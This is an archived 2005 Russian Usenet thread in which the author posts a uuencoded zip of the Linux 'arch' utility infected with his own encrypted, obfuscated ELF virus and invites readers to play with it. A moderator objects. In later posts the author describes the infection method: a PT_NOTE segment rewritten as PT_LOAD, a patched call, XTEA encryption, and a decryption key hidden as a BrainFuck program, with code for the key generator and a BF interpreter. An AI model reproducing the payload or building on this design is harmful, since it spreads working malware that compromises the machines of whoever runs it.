Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

Obfuscated! :-)

98 views
Skip to first unread message

andrew baranovich

unread,
Jul 9, 2005, 8:03:18 AM7/9/05
to
* Originally in su.cm
Crossposted to su.virus
Crossposted to pvt.virii

здравствуйте, уважаемые! Ж-)

решил на днях поразмяться малость, а то так и забыть
не долго, что такое языки программирования. результат
"разминки" перед вами.

это - стандартный линуксовый arch (
# rpm -qf `which arch`
util-linux-2.11f-12.asp
), зараженный шифрованым и легонько обфусцированным
вирусом. к сожалению, слово 'obfuscated' не имеет
равноценного аналога в русском языке. развлекайтесь!
я, к примеру, получил массу удовольствия.

естественно, что ни исходники, ни описание я постить
не собираюсь, пока не выйдет лечилка. а то, в чем бы
был прикол? Ж-))) собственно, за основу я взял другой
свой вирус, отключив кернельную часть для простоты.
стоп, стоп, стоп. что-то я разболтался. Ж-)))

begin 644 arch.infected.zip
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
,`0!(````&`X`````
`
end

Moderator

unread,
Jul 11, 2005, 9:55:48 AM7/11/05
to
How are you, andrew?

09 июля 2005 17:03, andrew baranovich -> All:

Целенаправленный постинг вирусов, в конференции не желателен и наказуем.

ab> решил на днях поразмяться малость, а то так и забыть
ab> не долго, что такое языки программирования. результат
ab> "разминки" перед вами.

ab> это - стандартный линуксовый arch (
ab> # rpm -qf `which arch`
ab> util-linux-2.11f-12.asp
ab> ), зараженный шифрованым и легонько обфусцированным
ab> вирусом. к сожалению, слово 'obfuscated' не имеет
ab> равноценного аналога в русском языке. развлекайтесь!
ab> я, к примеру, получил массу удовольствия.

ab> естественно, что ни исходники, ни описание я постить
ab> не собираюсь, пока не выйдет лечилка. а то, в чем бы
ab> был прикол? Ж-))) собственно, за основу я взял другой
ab> свой вирус, отключив кернельную часть для простоты.
ab> стоп, стоп, стоп. что-то я разболтался. Ж-)))


С наилучшими пожеланиями, Олег Евдокимов.
ICQ: 125996629 mailto: spions <at> rokb.ru http://www.Navigator.ROKB.ru

Yuriy Saloid

unread,
Jul 12, 2005, 9:10:39 PM7/12/05
to

Hi *Alexey*!

ab>> это - стандартный линуксовый arch ( # rpm -qf `which arch`
ab>> util-linux-2.11f-12.asp ), зараженный шифрованым и легонько
ab>> обфусцированным вирусом. к сожалению, слово 'obfuscated' не
ab>> имеет равноценного аналога в русском языке. развлекайтесь!
AP> obfuscated 1) затемнять (свет, вопрос и т. п.) 2) сбивать с толку;
AP> туманить рассудок

AP> ЗЫ: Вроде как эта конференция не для публикации вирусов.

Дык смотря каких ! :)
Кто-то знает точное соотношение числа "под линукс"/"все остальные" ?
... неплохо б автор поста расписал еще механизм работы заразы, размножения,
способы проникновения в систему - а то ОБФУСЦИРУЕТ что-то больно ;)

Always yours Yuriy

andrew baranovich

unread,
Jul 13, 2005, 11:36:58 PM7/13/05
to
Yuriy Saloid wrote to Alexey Podtoptalow:

YS> ... неплохо б автор поста расписал еще механизм работы заразы,
YS> размножения, способы проникновения в систему - а то ОБФУСЦИРУЕТ что-то
YS> больно ;)

все на самом деле довольно просто. есть такой волшебный язык
программирования BrainFuck (относится к семейству "эзотерических"),
который был создан Урбаном Мюллером (Urban Mueller) где-то в 1993,
с целью получить минимальный язык обладающий тьюринг-полнотой.
должен вам сказать, что своей задачи он добился. в языке восемь
операторов:

| + +1 к значению ячейки под указателем
| - -1 к значению ячейки под указателем
| < указатель влево
| > указатель вправо
| . вывести значение текущей ячейки
| , ввести значение для текущей ячейки
| [ если 0, перейти к парной ]
| ] если HЕ 0, перейти к парной [

таким образом, простейший конвертер из BrainFuck в Си можно
за 2 минуты (ровно столько у меня ушло времени) написать на
sed:

| $cat bfcc.sed
| 1a \
| main(){char c[30000],*p=c;memset(c,0,30000);
| # strip comments
| s/[a-zA-Z0-9\|\\\(\)\$\^\-\*#=]//g
| s/+/++*p;/g
| s/-/--*p;/g
| s/</--p;/g
| s/>/++p;/g
| s/\./putchar(*p);/g
| s/\,/*p=getchar();/g
| s/\]/}/g
| s/\[/while(*p)\{/g
| $a \
| }
|
| $ cat hello.bf
| Hello World program
| >+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++.
| .+++.[-]>++++++++[<++++>-]<.#>+++++++++++[<+++++>-]<.
| >++++++++[<+++>-]<.+++.------.--------.[-]>++++++++[<
| ++++>-]<+.[-]++++++++++.
|
| $ sed -f bfcc.sed hello.bf|gcc -xc -o hello -
| $ ./hello
| Hello World!

да, вот еще несколько особенностей:

[ и ] соответствуют обычным правилам для скобочных выражений.
лента состоит из 30000 байт и первоначально содержит нули. EOF
не меняет значение ячейки. выход за границы ленты и неправильно
раставленные скобки генерируют ошибку. EOL - 0x0A, все символы,
в программе, кроме перечисленных игнорируются. вот интерпретатор
BrainFuck написаный на BrainFuck:

| >>>+[[-]>>[-]++>+>+++++++[<++++>>++<-]++>>+>+>+++++[>++>++++++
| <<-]+>>>,<++[[>[->>]<[>>]<<-]<[<]<+>>[>]>[<+>-[[<+>-]>]<[[[-]<
| ]++<-[<+++++++++>[<->-]>>]>>]]<<]<]<[[<]>[[>]>>[>>]+[<<]<[<]<+
| >>-]>[>]+[->>]<<<<[[<<]<[<]+<<[+>+<<-[>-->+<<-[>+<[>>+<<-]]]>[
| <+>-]<]++>>-->[>]>>[>>]]<<[>>+<[[<]<]>[[<<]<[<]+[-<+>>-[<<+>++
| >-[<->[<<+>>-]]]<[>+<-]>]>[>]>]>[>>]>>]<<[>>+>>+>>]<<[->>>>>>>
| >]<<[>.>>>>>>>]<<[>->>>>>]<<[>,>>>]<<[>+>]<<[+<<]<]
[input a brainfuck program and its input, separated by an
exclamation point. Daniel B Cristofani (cristofdathevanetdotcom)
http://www.hevanet.com/cristofd/brainfuck/]

или на C (автора не знаю):

char m[9999],*n[99],*r=m,*p=m+5000,**s=n,d,c;main(){for(read(0,r,p)
;c=*r++;c-93?c-91?d?0:c-43&~2?c-44?c-46?p+=c&~2^60?0:c%4-1:write(1,
p,1):read(2,p,1):(*p-=c-44):d++||(*++s=r):d&&--d?0:*p?r=*s:--s);}

и наконец мой интерпретатор:

; BrainFuck interpreter herm1t'2005 (http://vx.netlux.org/herm1t/)
; все фичи выключены
; void bf(uint8_t *code, uint8_t *core, int(*gc)(void),int(*pc)(int))
bfi: db 0x60, 0x89, 0xe5, 0x8b, 0x75, 0x24, 0x8b, 0x7d
db 0x28, 0xfc, 0xe8, 0x02, 0x00, 0x00, 0x00, 0xeb
db 0xf9, 0x31, 0xc0, 0xac, 0x09, 0xc0, 0x74, 0x5a
db 0x3c, 0x2b, 0x75, 0x03, 0xfe, 0x07, 0xc3, 0x3c
db 0x2d, 0x75, 0x03, 0xfe, 0x0f, 0xc3, 0x3c, 0x3e
db 0x75, 0x02, 0x47, 0xc3, 0x3c, 0x3c, 0x75, 0x02
db 0x4f, 0xc3, 0x3c, 0x2e, 0x75, 0x08, 0x8a, 0x07
db 0x50, 0xff, 0x55, 0x30, 0x58, 0xc3, 0x3c, 0x2c
db 0x75, 0x06, 0xff, 0x55, 0x2c, 0x88, 0x07, 0xc3
db 0x3c, 0x5b, 0x75, 0xfb, 0x89, 0xf3, 0x0f, 0xb6
db 0x0f, 0xac, 0x3c, 0x5d, 0x75, 0x09, 0x80, 0x3f
db 0x00, 0x74, 0xec, 0x89, 0xde, 0xeb, 0xf2, 0x3c
db 0x5b, 0x74, 0x03, 0x67, 0xe3, 0xeb, 0x53, 0x51
db 0x4e, 0xe8, 0xa3, 0xff, 0xff, 0xff, 0x59, 0x5b
db 0xeb, 0xdf, 0x89, 0xec, 0x61, 0xc3

на этом кратком, но тем не менее исчерпывающем введении можно
остановиться и перейти собственно к вирусу, который в соответствии
с загадочной эйверской логикой, был обозван Linux.Grip.a. впрочем,
название мне нравится, а значит так тому и быть. Ж-)

вирус представляет собой стандартный ELF-инфектор. тело расположено
в конце файла. PT_NOTE заменяется на PT_LOAD. p_offset = filesize,
p_align = 1, p_vadr = p_padr = ALIGN(min(PHDR.p_vaddr) - VSIZE, 4096),
p_filesize = p_memsize = sizeof(virus) - тут, кстати, была ошибка,
я забыл добавить к размеру вируса размер bf-программы, так что
то что я сюда запостил будет работать только с файлами < PAGE_SIZE,
я не заметил из-за того, что отлаживался на маленькой жертве, а
вообще-то это багофича загрузчика (fs/binfmt_elf.c). одна из многих.
странно, что до сих пор ни в Линуксе, ни во FreeBSD, так и не имеется
нормального ELF-лоадера. точку входа не меняем, находим при помощи
LDE32 (от Зомби) первый call, фиксим его, чтобы он указывал на тушку.
заражаем по одному файлу за раз в текущем каталоге.

с заражением все. он сказал: "Поехали!" и махнул рукой. переходим к
шифрованию. от ставшего уже традицией XOR'а двордов (привет, Арви!),
и от двойного XOR'а (дух захватывает!) решено было отказаться в
пользу простого и эффективного XTEA (асемблерная реализация by
Farshid Mossaiby). каковой XTEA является симметричным блочным шифром.
рандомер для генерации ключа, был опять-таки утащен из TZ#1 и проверен
при помощи ent. seed = time(NULL) ^ getpid() ^ RDTSC.HI ^ RDTSC.LO.

ага. остался один неотвеченый вопрос. при чем здесь BrainFuck?

собственно ему-то мы и обязаны текущим сабжем. дело в том, что
взять вот так просто, и положить ключ расшифровки после тушки -
это, согласитесь, полный некошер. поэтому добавим модуль, который
преобразует ключ в программу на BF. вот так:

int _sqrt(int x)
{
register int r;
x = (x+1) >> 1;
for (r = 0; x > r; x -= r++)
;
return r;
}

#define S(c) *code++ = c;
#define M(c,n) for (i = 0; i < n; i++) S(c)
char *mk(char *code, int n)
{
int x, y, t, i;
char cmd;

x = y = _sqrt(n);
while ((t = (x * y)) < n)
y++;
t -= n;
assert((x * y - t) == n);

S('>');
M('+', x)
S('[');
S('<');
M('+', y)
S('>');
S('-');
S(']');
S('<');
if (t < 0) {
t = -t;
cmd = '+';
} else {
cmd = '-';
}
M(cmd, t);
S('>');

return code;
}

то, что нагенерит mk, записывается в конец файла (после зашифрованой
тушки вируса). интерпретатор, xtea_decipher и цикл расшифровки
располагаются в незашифрованой части вируса. вот теперь, пожалуй, все.
сорцы интерпретатора лежат у меня на домашней страничке, сорцы первой
версии сейчас положу. да. есть и вторая. "издание второе переработаное
и дополненное", от него я положу бинари, так как бинарей там много,
чуть ли не конструктор получился, в эху кидать не буду. да, и не гоже
дрочить сверх меры местных ханжей.

p.s. то чего очень не хватало в тексте письма:

.....
..$MMMMMMM$..
.$MMM$"$M$"$MMM$.
$MMMM$" "M" "$MMMM$
.$MMMMM! $ !MMMMM$.
.$MMMMMM: ╨ :MMMMMM$.
$MMMMMMM: $ :MMMMMMM$
M$M" "MM! M !MM" "M$M
$$ ."MMM$. .M. .$MMM". $$
"$MM "MMM$.$M$.$MMM" MM$"
"$MM "MMMMMMMMM" MM$"
$MM$ "$$M$$" $MM$
"$M$. .$M$"
""$$m...m$$""
"""""

... have a nice day!

andrew baranovich

unread,
Jul 13, 2005, 11:19:58 PM7/13/05
to
Alexey Podtoptalow wrote to andrew baranovich:

AP> obfuscated
AP> 1) затемнять (свет, вопрос и т. п.)
AP> 2) сбивать с толку; туманить рассудок

вот, я и говорю, близко, но не совсем то, что нужно. нужное
значение встречается в названии IOCCC.

AP> ЗЫ: Вроде как эта конференция не для публикации вирусов.

все течет, все изменяется. тем более, что этой конференции
никуда течь и изменяться не нужно - в прошлом, вирусы сюда
постились неоднократно, в том числе по просьбе модератора.
историю, даже если это история такой незначительной вещи,
как фидошная эха, надлежит знать. а то она обидится и будет
повторяться, пока не дойдет до самых тупоумных. Ж;-]

andrew baranovich

unread,
Jul 13, 2005, 10:27:56 PM7/13/05
to
Yuriy Saloid wrote to Alexey Podtoptalow:

YS> Кто-то знает точное соотношение числа "под линукс"/"все остальные" ?

лень считать, но боюсь, что оно совсем не в пользу "всего остального"
Ж;-)

0 new messages